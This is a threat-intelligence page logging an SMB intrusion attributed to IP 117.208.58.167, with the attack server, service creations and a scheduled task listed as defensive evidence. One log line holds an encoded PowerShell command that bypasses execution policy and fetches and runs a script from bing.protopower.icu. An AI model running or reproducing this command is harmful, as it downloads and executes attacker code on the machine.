Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 117.208.58.167Malicious

IP Address: 117.208.58.167Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Access Suspicious Domain CMD Scheduled Task Creation SMB Null Session Login IDS - A Network Trojan was detected SMB PowerShell Successful SMB Login Service Start File Operation By CMD Listening DNS Query Service Creation SMB Share Connect

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

117.208.58.167

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-02-22

Last seen in Akamai Guardicore Segmentation

2023-02-23

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 18 times

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named NvPX under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named tIuz under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named WgJB under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named xPXH under service group None

Service Start Service Creation

Connection was closed due to timeout